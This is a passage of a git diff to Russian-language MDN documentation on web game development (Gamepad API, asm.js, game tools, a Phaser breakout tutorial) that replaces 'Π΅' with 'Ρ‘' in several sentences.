<h2 id="ПодвСдСниС_ΠΈΡ‚ΠΎΠ³ΠΎΠ²">ПодвСдСниС ΠΈΡ‚ΠΎΠ³ΠΎΠ²</h2>
-<p>API Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π° ΠΎΡ‡Π΅Π½ΡŒ прост Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅. Π’Π΅ΠΏΠ΅Ρ€ΡŒ это ΠΏΡ€ΠΎΡ‰Π΅, Ρ‡Π΅ΠΌ ΠΊΠΎΠ³Π΄Π°-Π»ΠΈΠ±ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΊΠ°ΠΊ консоль бСз нСобходимости ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ². Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ³Ρ€Π°Ρ‚ΡŒ Π² ΠΏΠΎΠ»Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ ΠΈΠ³Ρ€Ρ‹ Hungry Fridge нСпосрСдствСнно Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π΅ ΠΈΠ· <a href="https://marketplace.firefox.com/app/hungry-fridge">Firefox Marketplace</a> ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ исходный ΠΊΠΎΠ΄ Π΄Π΅ΠΌΠΎ-вСрсии вмСстС со всСми Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ рСсурсами Π² <a href="https://github.com/EnclaveGames/Hungry-Fridge">ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ‚Π΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Gamepad API</a>.</p>
+<p>API Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π° ΠΎΡ‡Π΅Π½ΡŒ прост Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅. Π’Π΅ΠΏΠ΅Ρ€ΡŒ это ΠΏΡ€ΠΎΡ‰Π΅, Ρ‡Π΅ΠΌ ΠΊΠΎΠ³Π΄Π°-Π»ΠΈΠ±ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΊΠ°ΠΊ консоль бСз нСобходимости ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ². Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ³Ρ€Π°Ρ‚ΡŒ Π² ΠΏΠΎΠ»Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ ΠΈΠ³Ρ€Ρ‹ Hungry Fridge нСпосрСдствСнно Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Ρ‘ ΠΈΠ· <a href="https://marketplace.firefox.com/app/hungry-fridge">Firefox Marketplace</a> ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ исходный ΠΊΠΎΠ΄ Π΄Π΅ΠΌΠΎ-вСрсии вмСстС со всСми Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ рСсурсами Π² <a href="https://github.com/EnclaveGames/Hungry-Fridge">ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ‚Π΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Gamepad API</a>.</p>
diff --git a/files/ru/games/tools/asm.js/index.html b/files/ru/games/tools/asm.js/index.html
index 08e08bb6bc..852bcf954e 100644
--- a/files/ru/games/tools/asm.js/index.html
+++ b/files/ru/games/tools/asm.js/index.html
@@ -13,18 +13,18 @@ original_slug: Games/Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹/asm.js
<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
<div class="summary">
-<p><span class="seoSummary"><a href="http://asmjs.org/">Asm.js</a>Β - это подмноТСство JavaScript, ΠΈΠΌΠ΅ΡŽΡ‰Π΅Π΅ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹ΡΠΎΠΊΡƒΡŽ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ описаны возмоТности asm.js,Β ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΎ Π΄Π°Π΅Ρ‚, Π³Π΄Π΅ ΠΈ ΠΊΠ°ΠΊ это ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ рСсурсы ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹.</span></p>
+<p><span class="seoSummary"><a href="http://asmjs.org/">Asm.js</a>Β - это подмноТСство JavaScript, ΠΈΠΌΠ΅ΡŽΡ‰Π΅Π΅ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹ΡΠΎΠΊΡƒΡŽ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ описаны возмоТности asm.js,Β ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΎ Π΄Π°Ρ‘Ρ‚, Π³Π΄Π΅ ΠΈ ΠΊΠ°ΠΊ это ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ рСсурсы ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹.</span></p>
</div>
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_asm.js">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ asm.js?</h2>
<p>Π­Ρ‚ΠΎ нСбольшоС, Π±ΠΎΠ»Π΅Π΅ строгоС подмноТСство JavaScript ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ стандартный язык Ρ‚ΠΎΠ»ΡŒΠΊΠΎ конструкциями, Ρ‚ΠΈΠΏΠ° `while`, `if` ΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² видС чисСл, ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ…Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΈ другими простыми вСщами. Оно Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ использованиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², строк, ΠΈ всСго, Ρ‡Ρ‚ΠΎ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Π½Π°Π³Ρ€ΡƒΠ·ΠΎΠΊ. <a href="http://asmjs.org/">Asm.js</a> Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ C Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π²Π΅Ρ‰Π°Ρ…, Π½ΠΎ ΠΎΠ½ являСтся ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌ ΠΊΠΎΠ΄ΠΎΠΌΒ Π½Π°Β JavaScript ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° всСх ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ…ΡΡ Π΄Π²ΠΈΠΆΠΊΠ°Ρ…. Он позволяСт JS Π΄Π²ΠΈΠΆΠΊΠ°ΠΌ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌ <a href="http://asmjs.org/">asm.js</a>, ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄ ΠΈ Π΄Π°Ρ‘Ρ‚ компиляторам, Ρ‚ΠΈΠΏΠ° Emscripten, Ρ‡Ρ‘Ρ‚ΠΊΠΎΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π½ΡƒΠΆΠ½ΠΎ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. ΠœΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠ°ΠΊ asm.js ΠΊΠΎΠ΄ выглядит, Ρ‡Π΅ΠΌ ΠΎΠ½ ΠΏΠΎΠ»Π΅Π·Π΅Π½Β ΠΈ ΠΊΠ°ΠΊ с Π½ΠΈΠΌ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ.</p>
-<p>Π­Ρ‚ΠΎ подмноТСство JavaScript ΡƒΠΆΠ΅ автоматичСски ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π΄Π²ΠΈΠΆΠΊΠ°Ρ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽ компиляции <a href="https://ru.wikipedia.org/wiki/JIT-%D0%BA%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%86%D0%B8%D1%8F">Just-In-Time (JIT)</a>. Однако, ΡƒΠΊΠ°Π·Π°Π² явный стандарт, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Благодаря этому, упрощаСтся совмСстная Ρ€Π°Π±ΠΎΡ‚Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… JS Π΄Π²ΠΈΠΆΠΊΠΎΠ², ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π»Π΅Π³Ρ‡Π΅ Π΄ΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒΡΡ ΠΎ стандартах. ИдСя Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ этот Π²ΠΈΠ΄ ΠΊΠΎΠ΄Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ быстро Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π΄Π²ΠΈΠΆΠΊΠ΅, ΠΈ Ссли это Π½Π΅ Ρ‚Π°ΠΊ, это ошибка, ΠΈ Π΅ΡΡ‚ΡŒ чСткая спСцификация, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π΄Π²ΠΈΠΆΠΊΠΈΒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<p>Π­Ρ‚ΠΎ подмноТСство JavaScript ΡƒΠΆΠ΅ автоматичСски ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π΄Π²ΠΈΠΆΠΊΠ°Ρ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽ компиляции <a href="https://ru.wikipedia.org/wiki/JIT-%D0%BA%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%86%D0%B8%D1%8F">Just-In-Time (JIT)</a>. Однако, ΡƒΠΊΠ°Π·Π°Π² явный стандарт, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Благодаря этому, упрощаСтся совмСстная Ρ€Π°Π±ΠΎΡ‚Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… JS Π΄Π²ΠΈΠΆΠΊΠΎΠ², ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π»Π΅Π³Ρ‡Π΅ Π΄ΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒΡΡ ΠΎ стандартах. ИдСя Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ этот Π²ΠΈΠ΄ ΠΊΠΎΠ΄Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ быстро Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π΄Π²ΠΈΠΆΠΊΠ΅, ΠΈ Ссли это Π½Π΅ Ρ‚Π°ΠΊ, это ошибка, ΠΈ Π΅ΡΡ‚ΡŒ чёткая спСцификация, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π΄Π²ΠΈΠΆΠΊΠΈΒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
-<p>Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π΅Π»Π°Π΅Ρ‚ <a href="http://asmjs.org/">asm.js</a> достаточно простым для людСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΈΡˆΡƒΡ‚ компиляторы Π²Ρ‹ΡΠΎΠΊΠΎΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ΄Β web. Они ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ спСцификации <a href="http://asmjs.org/">asm.js</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈΒ Π±ΠΎΠ»Π΅Π΅ быстрыС ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρ‹ для Π½Π΅Π³ΠΎ. <a href="https://github.com/kripken/emscripten">Emscripten</a>, компилятор C/C++ Π² JavaScript, Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΊΠΎΠ΄ <a href="http://asmjs.org/">asm.js</a>, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠΉ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… браузСрах с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ, Π±Π»ΠΈΠ·ΠΊΠΎΠΉ ΠΊ ΠΌΠ°ΡˆΠΈΠ½Π½ΠΎΠΌΡƒ ΠΊΠΎΠ΄Ρƒ.</p>
+<p>Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π΅Π»Π°Π΅Ρ‚ <a href="http://asmjs.org/">asm.js</a> достаточно простым для людСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΈΡˆΡƒΡ‚ компиляторы Π²Ρ‹ΡΠΎΠΊΠΎΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ΄Β web. Они ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ спСцификации <a href="http://asmjs.org/">asm.js</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈΒ Π±ΠΎΠ»Π΅Π΅ быстрыС ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρ‹ для Π½Π΅Π³ΠΎ. <a href="https://github.com/kripken/emscripten">Emscripten</a>, компилятор C/C++ Π² JavaScript, Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠ΄ <a href="http://asmjs.org/">asm.js</a>, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠΉ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… браузСрах с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ, Π±Π»ΠΈΠ·ΠΊΠΎΠΉ ΠΊ ΠΌΠ°ΡˆΠΈΠ½Π½ΠΎΠΌΡƒ ΠΊΠΎΠ΄Ρƒ.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ссли Π΄Π²ΠΈΠΆΠΎΠΊ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ распознаСт ΠΊΠΎΠ΄ <a href="http://asmjs.org/">asm.js</a>, Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Ρ‰Π΅ большС ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΉ. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Chrome (<a href="https://www.chromestatus.com/feature/5053365658583040">статус</a>)Β ΠΈ FirefoxΒ ΠΎΠ±Π»Π°Π΄Π°ΡŽΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ asm.js. Firefox ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΏΠ΅Ρ€Π΅Π΄ΠΎΠ²Ρ‹Ρ… Ρ„ΠΈΡ‡ asm.js</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ссли Π΄Π²ΠΈΠΆΠΎΠΊ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ распознаСт ΠΊΠΎΠ΄ <a href="http://asmjs.org/">asm.js</a>, Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ большС ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΉ. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Chrome (<a href="https://www.chromestatus.com/feature/5053365658583040">статус</a>)Β ΠΈ FirefoxΒ ΠΎΠ±Π»Π°Π΄Π°ΡŽΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ asm.js. Firefox ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΏΠ΅Ρ€Π΅Π΄ΠΎΠ²Ρ‹Ρ… Ρ„ΠΈΡ‡ asm.js</p>
<h2 id="Π’_ΠΎΠ±Ρ‰Π΅ΠΌ_ΠΎΠ±_asm.js">Π’ ΠΎΠ±Ρ‰Π΅ΠΌ ΠΎΠ± asm.js</h2>
diff --git a/files/ru/games/tools/index.html b/files/ru/games/tools/index.html
index 91e2bf3f41..f4adb6f5b3 100644
--- a/files/ru/games/tools/index.html
+++ b/files/ru/games/tools/index.html
@@ -28,7 +28,7 @@ original_slug: Games/Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹
<ul>
<li>ΠžΠ±Π·ΠΎΡ€ Π±Π°Π·ΠΎΠ²Ρ‹Ρ… инструмСнтов</li>
<li><a href="/en-US/docs/Tools/Shader_Editor">Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ²</a></li>
- <li>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΡΡ‚Π²Π΅Π½Π½Ρ‹Π΅ инструмСнты (всС Π΅Ρ‰Π΅ находятся Π² производствС, ΠΏΠΎ ΠΎΡ†Π΅Π½ΠΊΠ°ΠΌ, Π² Π½Π°Ρ‡Π°Π»Π΅ 2014 Π³ΠΎΠ΄Π°)</li>
+ <li>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΡΡ‚Π²Π΅Π½Π½Ρ‹Π΅ инструмСнты (всС Π΅Ρ‰Ρ‘ находятся Π² производствС, ΠΏΠΎ ΠΎΡ†Π΅Π½ΠΊΠ°ΠΌ, Π² Π½Π°Ρ‡Π°Π»Π΅ 2014 Π³ΠΎΠ΄Π°)</li>
</ul>
</dd>
</dl>
diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html
index 8d4171bde1..45bdac302b 100644
--- a/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html
@@ -107,7 +107,7 @@ var brickInfo;
var brickY = (r*(brickInfo.height+brickInfo.padding))+brickInfo.offset.top;
</pre>
-<p>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° <code>x</code>Β ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π° рассчитываСтся на основС суммы ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π°Β <code>brickInfo.width</code>Β ΠΈ Π·Π°Π·ΠΎΡ€Π° <code>brickInfo.padding</code>, ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½Π½ΠΎΠΉΒ Π½Π° Π½ΠΎΠΌΠ΅Ρ€ столбца <code>с</code>, послС этого добавляСм отступ ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ края <code>brickInfo.offset.left</code>; РасчСт <code>y</code>Β Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π΅Π½, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π½ΠΎΠΌΠ΅Ρ€ ряда <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">r</span></font>, высота ΠΊΠΈΡ€ΠΏΠΈΡ‡Π°Β <code>brickInfo.height</code>Β ΠΈ отступ ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ края <code>brickInfo.offset.top</code>. Π’ΠΎΡ‚ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΈΡ€ΠΏΠΈΡ‡ Π½Π° своём мСстС, с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ всСх отступов ΠΈ Π·Π°Π·ΠΎΡ€ΠΎΠ².</p>
+<p>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° <code>x</code>Β ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π° рассчитываСтся на основС суммы ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π°Β <code>brickInfo.width</code>Β ΠΈ Π·Π°Π·ΠΎΡ€Π° <code>brickInfo.padding</code>, ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½Π½ΠΎΠΉΒ Π½Π° Π½ΠΎΠΌΠ΅Ρ€ столбца <code>с</code>, послС этого добавляСм отступ ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ края <code>brickInfo.offset.left</code>; Расчёт <code>y</code>Β Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π΅Π½, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π½ΠΎΠΌΠ΅Ρ€ ряда <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">r</span></font>, высота ΠΊΠΈΡ€ΠΏΠΈΡ‡Π°Β <code>brickInfo.height</code>Β ΠΈ отступ ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ края <code>brickInfo.offset.top</code>. Π’ΠΎΡ‚ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΈΡ€ΠΏΠΈΡ‡ Π½Π° своём мСстС, с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ всСх отступов ΠΈ Π·Π°Π·ΠΎΡ€ΠΎΠ².</p>
<h2 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ_ΠΊΠΎΠ΄_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_initBricks()">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ ΠΊΠΎΠ΄ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ initBricks()</h2>
diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html
index d19481e9ca..b01d6bf0ac 100644
--- a/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html
@@ -97,7 +97,7 @@ lifeLostText.visible = false;
}
</pre>
